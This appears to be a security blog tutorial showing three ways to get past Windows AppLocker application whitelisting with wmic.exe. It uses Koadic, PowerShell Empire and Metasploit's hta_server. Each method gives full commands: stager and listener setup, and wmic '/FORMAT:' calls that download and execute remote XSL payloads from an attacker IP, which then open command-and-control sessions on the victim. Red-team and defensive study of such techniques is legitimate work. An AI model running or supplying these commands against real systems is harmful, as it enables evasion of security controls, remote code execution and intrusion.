This purpose to write this post is to demonstrate the most common and familiar techniques of whitelisting AppLocker bypass. As we know for security reason the system admin add group policies to restrict app execution for local user. In our previous article, we had discussed on “Windows Applocker Policy – A Beginner’s Guide” as they defines the AppLocker rules for your application control policies and how to work with them. But today you will learn how to bypass Applocker policies with wmic.exe.
Table of Content
Introduction to Wmic.exe
Exploiting Techniques
- Koadic
- Powershell Empire
- Link hta within XSL code
Wmic.exe
The WMIC utility is a Microsoft tool provides a WMI command-line interface that is used for a variety of administrative functions for local and remote machine and also used to wmic query such as system settings, stop processes and execute scripts locally or remotely. Therefore, it can invoke XSL script (eXtensible Stylesheet Language).
Exploiting Techniques
Koadic
We will generate a malicious XSL file with the help of koadic which is a Command & Control tool which is quite similar to Metasploit and Powershell Empire.
To know how koadic works, read our article from here: https://www.hackingarticles.in/koadic-com-command-control-framework/
Once installation gets completed, you can run ./koadic file to start koadic and start with loading the sta/js/wmic stager by running the following command and set SRVHOST where the stager should call home.
use stager/js/wmic set SRVHOST 192.168.1.107 run
Execute WMIC following command to download and run the malicious XSL file from a remote server:
wmic os get /FORMAT:"http://192.168.1.107:9996/g8gkv.xsl"
Once the malicious XSL file will get executed on target machine, you will have a Zombie connection just like metasploit.
PowerShell Empire
For our next method of wmic Attack we will use empire. Empire is a post-exploitation framework. Till now we have pairing our xsl tacks with metasploit but in this method we will use empire framework. It’s solely python based powershell windows agent which make it quite useful. Empire is developed by @harmj0y, @sixdub, @enigma0x3, rvrsh3ll, @killswitch_gui, and @xorrior. You can download this framework from https://github.com/EmpireProject/Empire.
To have a basic guide of Empire, please visit our article introducing empire:
https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/
Once the empipre framework is started, type listener to check if there are any active listeners. As you can see in the image below that there are no active listeners. So to set up a listener type :
uselistner http set Host http://192.168.1.107 set port 80 execute
With the above commands, you will have an active listener. Type back to go out of listener so that you can initiate your powershell.
For our Msbuild attack we will use stager. A stager, in empire, is a snippet of code that allows our malicious code to be run via the agent on the compromised host. So, for this type:
usestager windows/launcher_xml set listener http execute
Usestager will create a malicious code file that will be saved in the /tmp named launcher.xml.
We have use python http server to transfer this file inside victim’s machine
And once the file runs, we will have the result on our listener. Run the file in your victim’s by typing following command:
wmic process get brief /format:"http://192.168.1.107:8080/launcher.xsl"
To see if we have any session open type ‘agents’. Doing so, will show you the name of the session you have. To access that session type :
interact Z639YHPA sysinfo
Link hta within XSL code
As we know, wmic can execute any file or script remotely, so we will link a hta file within XSL code. An XSL file will contain a link, to download and execute a malicious hta file via mshta.exe, which is officially tiggered by wmic.
Therefore, let’s generate an hta file with the help of Metasploit:
use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 msf exploit(windows/misc/hta_server) > exploit
Now copy the URL and place inside the XSL code, because they have ability to execute language script of Micorsoft.
Then, we have created a “payload.xsl “file, you can take help from this link for writing XSL code and then place the link of hta file as shown below.
Now again we need to execute XSL file through wmic.exe with the help of following command:
wmic os get /FORMAT:"http://192.168.1.109/payload.xsl"
Once the above command is executed you will have a session open. To access the session, type:
sessions 1
Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here
The post Bypass Application Whitelisting using wmic.exe (Multiple Methods) appeared first on Hacking Articles.